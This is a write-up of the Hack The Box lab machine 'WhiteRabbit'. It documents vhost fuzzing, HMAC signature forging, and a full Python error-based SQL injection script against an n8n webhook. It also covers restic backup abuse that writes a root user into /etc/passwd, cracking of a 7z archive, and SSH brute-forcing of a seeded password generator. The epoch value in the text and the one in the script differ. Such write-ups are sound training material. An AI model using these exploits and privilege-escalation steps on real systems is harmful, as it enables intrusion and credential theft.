Post

WhiteRabbit

WhiteRabbit is an insane linux machine with multiple steps and an error based SQL injection.

WhiteRabbit

About

WhiteRabbit

WhiteRabbit

Difficulty: Insane

OS: Linux

Release date: 2025-04-05

Authors: FLX0x00

Summary

Through thorough fuzzing we find a Wikijs instance with an article about webhooks. We find the secret for the hmac signature that is used and can forge requests that allow us to abuse an error based SQL injection. In the database we find a list of executed commands. One of them is a password to a restic instance that contains a compressed backup of an ssh key with a crackable password.
This gives us access to a docker container as a user that can run restic as root. We abuse it to retrieve another ssh key in the /root directory and use it to connect to the docker host machine and get the user flag.
We find a custom password generator and because we know in what second it was executed, we can reverse it and narrow down the possible passwords to just 1000. Trying them over ssh allows us to find the password and we can login as a user with full sudo rights.

Recon

nmap reports one open http port and two ssh ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBslomQGZRF6FPNyXmI7hlh/VDhJq7Px0dkYQH82ajAIggOeo6mByCJMZTpOvQhTxV2QoyuqeKx9j9fLGGwkpzk=
|   256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEoXISApIRdMc65Kw96EahK0EiPZS4KADTbKKkjXSI3b
80/tcp   open  http    syn-ack ttl 62 Caddy httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://whiterabbit.htb
2222/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKu1+ymf1qRT1c7pGig7JS8MrnSTvbycjrPWQfRLo/DM73E24UyLUgACgHoBsen8ofEO+R9dykVEH34JOT5qfgQ=
|   256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTObILLdRa6Jfr0dKl3LqWod4MXEhPnadfr+xGSWTQ+

Port 2222 has lower ttl than 22, so it’s likely that 22 is the main machine and 2222 some container.
Port 80 wants to redirect to whiterabbit.htb so we add that to our hosts file.

The website is advertising pentesting services and it’s just one static page. Main website

Fuzzing for files doesn’t show anything new so let’s fuzz for vhosts with ffuf.
First we check what kind of responses we get

1
ffuf -u http://whiterabbit.htb -H "HOST: FUZZ.whiterabbit.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

It’s all code 302 with size 0.

1
2
3
navigation              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 33ms]
trash                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 30ms]
tours                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 30ms]

If we filter out size 0 we get a hit.

1
ffuf -u http://whiterabbit.htb -H "HOST: FUZZ.whiterabbit.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 0
1
status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 31ms]

After adding it to our hosts file we are greeted by the Uptime Kuma login form. Uptime Kuma website

We can dig into the scripts to figure out that the version is 1.23.13 but it’s a rabbit hole with no vulnerabilities that work without authentication.

Next is fuzzing for files on the new vhost.
Doing this the usual way will miss some things. It’s always a good idea to first check what the typical response codes are and then filter just those. First we tell ffuf to match everything:

1
ffuf -u http://status.whiterabbit.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -mc all

We see that strangely everything returns http code 200. If we filter that out we get some interesting results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ffuf -u http://status.whiterabbit.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -mc all -fc 200
upload                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 39ms]
assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 36ms]
.                       [Status: 301, Size: 169, Words: 7, Lines: 11, Duration: 28ms]
STATUS                  [Status: 404, Size: 2444, Words: 247, Lines: 39, Duration: 31ms]
status                  [Status: 404, Size: 2444, Words: 247, Lines: 39, Duration: 36ms]
Upload                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 28ms]
screenshots             [Status: 301, Size: 189, Words: 7, Lines: 11, Duration: 35ms]
UPLOAD                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 39ms]
metrics                 [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 36ms]
Status                  [Status: 404, Size: 2444, Words: 247, Lines: 39, Duration: 35ms]
Screenshots             [Status: 301, Size: 189, Words: 7, Lines: 11, Duration: 30ms]
Metrics                 [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 47ms]
:: Progress: [43007/43007] :: Job [1/1] :: 1005 req/sec :: Duration: [0:00:44] :: Errors: 0 ::

If we now repeat the steps in subdirectories, we find this temporary page.
http://status.whiterabbit.htb/status/temp

Testpage

We learn about Gophish on http://ddb09a8558c9.whiterabbit.htb and wikijs on http://a668910b5514e.whiterabbit.htb. There is also n8n running somewhere.

We cannot log in to Gophish but the wiki is nice enough to tell us that there is some sensitive information to be found. Wiki

User

Bob

In the wiki, there is a single article about webhooks:
http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks

It talks about how Gophish triggeres webhooks on n8n and the signature verification.
Testpage

From the example request we get the vhost of n8n: 28efa8f7df.whiterabbit.htb.

When we try to repeat the sample request it seems to work.

1
2
3
4
5
curl -X POST \
  http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d \
  -H 'x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd' \
  -H 'Content-Type: application/json' \
  -d '{"campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link"}'

If we try to modify the POST data, it fails with Error: Provided signature is not valid.

The second piece of the puzzle is the linked json file that is also seen in the screenshot:
http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json

We find two interesting bits of information it it:

1
2
3
4
5
6
7
"parameters": {
        "operation": "executeQuery",
        "query": "UPDATE victims\nSET phishing_score = phishing_score + 10\nWHERE email = $1;",
        "options": {
          "queryReplacement": "={{ $json.email }}"
        }
      }

There seem to be SQL queries with potential for injection if we control the email.

1
2
3
4
5
6
7
"parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      }

This appears to be the secret used in the signature verification.
We can quickly confirm it by computing the signature of the example and comparing it to what we have with CyberChef.

Cyberchef

The result matches.

To try exploiting the SQL injection we create a python script. GPT can assist to speed it up.

Here is a simple initial version to get a first error:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3

import requests
import json
import hmac
import hashlib

url = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
secret = '3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'

email ='test@ex.com"'
payload = {
    'campaign_id':1,
    'email':email,
    'message':'Clicked Link'
}
payload_text = json.dumps(payload, separators=(',', ':'))

signature = hmac.new(
    secret.encode('utf-8'),
    payload_text.encode('utf-8'),
    hashlib.sha256
).hexdigest()

headers = {
    'Host': '28efa8f7df.whiterabbit.htb',
    'x-gophish-signature': f'sha256={signature}',
    'Connection': 'keep-alive',
    'Content-Type': 'application/json'
}

response = requests.post(url, headers=headers, data=payload_text)
print(response.text)
1
You have an error in your SQL syntax on line 1 near '"test@ex.com "" LIMIT 1' | {"level":"error","tags":{},"context":{"itemIndex":0},"functionality":"regular","name":"NodeOperationError","timestamp":1744012735305,"node":{"parameters":{"resource":"database","operation":"executeQuery","query":"SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1","options":{}},"id":"5929bf85-d38b-4fdd-ae76-f0a61e2cef55","name":"Get current phishing score","type":"n8n-nodes-base.mySql","typeVersion":2.4,"position":[1380,260],"alwaysOutputData":true,"retryOnFail":false,"executeOnce":false,"notesInFlow":false,"credentials":{"mySql":{"id":"qEqs6Hx9HRmSTg5v","name":"mariadb - phishing"}},"onError":"continueErrorOutput"},"messages":[],"obfuscate":false,"description":"sql: SELECT * FROM victims where email = \"test@ex.com \"\" LIMIT 1, code: ER_PARSE_ERROR"}

Since we get such a detailed error, it should be possible to perform error based SQL injection.
By default n8n uses PostgreSQL but this instance is actually configured with MariaDB.

Replacing the email in the script above, we can see that the version is 11.5.2-MariaDB-ubu2404

1
email = '''test@ex.com" AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -'''

Next we will take the usual steps to first get the databases, tables, columns and finally the data.
In general we can just use LIMIT to get the data row by row. For the actual cell contents there is an additional challenge since data is truncated after 30 characters. So we have to use substring to get the data in chunks.

Here are some of the commands used.
Get 3rd database

1
SELECT schema_name FROM information_schema.schemata LIMIT 2,1

1st table in temp

1
SELECT table_name FROM information_schema.tables WHERE table_schema='temp' LIMIT 0,1

3rd column in temp.command_log

1
SELECT column_name FROM information_schema.columns WHERE table_schema='temp' AND table_name='command_log' LIMIT 2,1

30 characters starting at index 31 (2nd chunk) of the 3rd command in temp.command_log

1
SELECT SUBSTRING((SELECT command from temp.command_log LIMIT 2,1), 31, 30)

I found all the necessary information in PayloadsAllTheThings.

The final script looked something like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3

import requests
import json
import hmac
import hashlib

URL = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
SECRET = '3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'

def send(inner):
    email = f'''test@ex.com" AND EXTRACTVALUE(42,CONCAT('.','~',({inner}),'~')) -- -'''
    payload = {
        'campaign_id':1,
        'email':email,
        'message':'Clicked Link'
    }
    payload_text = json.dumps(payload, separators=(',', ':'))

    signature = hmac.new(
        SECRET.encode('utf-8'),
        payload_text.encode('utf-8'),
        hashlib.sha256
    ).hexdigest()

    headers = {
        'Host': '28efa8f7df.whiterabbit.htb',
        'x-gophish-signature': f'sha256={signature}',
        'Content-Type': 'application/json'
    }

    response = requests.post(URL, headers=headers, data=payload_text, proxies={'http': '127.0.0.1:8080'})
    return response.text


def get_all(query):
    for i in range(10):
        inner = f'{query} LIMIT {i},1'
        res = send(inner).split('~')
        if len(res) > 1:
            print(res[1])
        else:
            break

def get_databases():
    get_all("SELECT schema_name FROM information_schema.schemata")

def get_tables(db):
    get_all(f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}'")

def get_columns(db, table):
    get_all(f"SELECT column_name FROM information_schema.columns WHERE table_schema='{db}' AND table_name='{table}'")

def dump(db, table, column):
    for i in range(10):
        inner = f'SELECT {column} from {db}.{table} LIMIT {i},1'
        cell = ''
        for j in range(0, 150, 30):
            inner2 = f'SELECT SUBSTRING(({inner}), {str(1+j)}, 30)'
            res = send(inner2)
            res = res.split('~')
            if len(res) > 1:
                if len(res[1]) == 0:
                    break
                cell += res[1]
            else:
                break

        if len(cell) == 0:
            break
        print(cell)

def main():
    print("Databases:")
    get_databases()
    print()

    print("Tables in temp:")
    get_tables('temp')
    print()

    print("Columns in temp.command_log:")
    get_columns('temp', 'command_log')
    print()

    print("command_log.command:")
    dump('temp', 'command_log', 'command')
    print()

    print("command_log.date:")
    dump('temp', 'command_log', 'date')
    print()

if __name__ == "__main__":
    main()

Ugly but it’s easy to understand and works just fine.
The interesting data is in the temp database. The script gives the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Databases:
information_schema
phishing
temp

Tables in temp:
command_log

Columns in temp.command_log:
id
command
date

command_log.command:
uname -a
restic init --repo rest:http://75951e6ff.whiterabbit.htb
echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
rm -rf .bash_history 
#thatwasclose
cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd

command_log.date:
2024-08-30 10:44:01
2024-08-30 11:58:05
2024-08-30 11:58:36
2024-08-30 11:59:02
2024-08-30 11:59:47
2024-08-30 14:40:42

Restic is a backup tool. We can install restic and interact with the repository using the password from the commands.
Make sure to add the hostname to /etc/hosts.

1
2
3
4
5
6
7
8
9
10
$ restic ls latest --repo rest:http://75951e6ff.whiterabbit.htb
enter password for repository: 
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00%  5 / 5 index files loaded
snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit filtered by []:
/dev
/dev/shm
/dev/shm/bob
/dev/shm/bob/ssh
/dev/shm/bob/ssh/bob.7z

/dev/shm/bob/ssh/bob.7z looks interesting. Let’s restore everything to the restic directory:

1
restic --repo rest:http://75951e6ff.whiterabbit.htb restore latest --target restic

Trying to extract with 7z x bob.7z prompts for a password. We can use john to try crack it.

1
2
7z2john bob.7z > bob.hash
john bob.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=7z

It takes a moment but eventually it cracks.
With it we can extract it and get three files:
a private key, a public key and a config file.

The config file tells us how to use the private key

1
2
3
4
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob

Set the file permissions correctly and you can connect

1
2
chmod 600 bob
ssh bob@whiterabbit.htb -i bob -p 2222

No user flag yet.

Morpheus

bob can run restic as root.

1
2
3
4
5
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic

It has a page on gtfobins:
https://gtfobins.github.io/gtfobins/restic/

There are various ways to get what we need but let’s go for a proper root shell.
We will use a local file repo and a combination of backup and restore to write arbitrary files. To get full root access, we can for example overwrite /etc/passwd.

1
2
3
4
5
cp /etc/passwd . # Create a copy
echo "r:fijI1lDcvwk7k:0:0::/:/bin/sh" >> ./passwd # Add a user
sudo /usr/bin/restic init -r pwd # Init file repository, use any password
sudo /usr/bin/restic backup -r pwd ./passwd # backup the modified passwd file
sudo /usr/bin/restic restore latest -r pwd --target /etc # Restore the file to /etc

The hash in the example belongs to the password pass. You can switch to the r user, with the same uid as root, with su r.

In the /root directory there is a private key for morpheus.
We could have also just read it by backing up /root, looking for the file and dumping it.

1
2
3
4
sudo /usr/bin/restic init -r root
sudo /usr/bin/restic backup -r root /root
sudo /usr/bin/restic ls -r root latest
sudo /usr/bin/restic dump -r root latest /root/morpheus

Either way, transfer the key to your attacker and you can use it to SSH into the host machine and get the user flag.

1
ssh morpheus@whiterabbit.htb -i morpheus

Root

After logging in we see that there is a user neo on the machine and so is the password generator that is mentioned in the command log.
Grab it from /opt/neo-password-generator/neo-password-generator and open your favorite decompiler.

Password generator

It uses getsystemtime as a seed to generate 20 character passwords.
The seed is equal to seconds * 1000 + microseconds / 1000, i.e. milliseconds.

From the command log, we know that neo generated the password at 2024-08-30 14:40:42.
date -d "2024-08-30 14:40:42" +%s tells us this is 1725021642 in getsystemtime seconds.

This means there are 1000 candidate seeds for when the tool was run to generate neo’s pasword.

Let’s write a python script to generate them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from ctypes import CDLL

libc = CDLL('libc.so.6')

def generate_password(seed):
    libc.srand(seed)
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    password = ""
    for _ in range(20):
        index = libc.rand() % len(charset)
        password += charset[index]
    print(password)

def main():
    second = 1725028842

    for ms in range(1000):
        seed = second * 1000 + ms
        generate_password(seed)

if __name__ == "__main__":
    main()

Make sure to use the rand functions from libc to get the same results.

Run the script and create a list of possible passwords.

1
python3 create-passwords.py > neo-passwords.txt

Then try them all with e.g. hydra.

1
hydra -l neo -P neo-passwords.txt ssh://whiterabbit.htb

Use it to change user or open a new ssh session.
Neo is already practically root.

1
2
3
4
5
Matching Defaults entries for neo on whiterabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User neo may run the following commands on whiterabbit:
    (ALL : ALL) ALL

Use sudo su to get a root shell and get the flag.

This post is licensed under CC BY 4.0 by the author.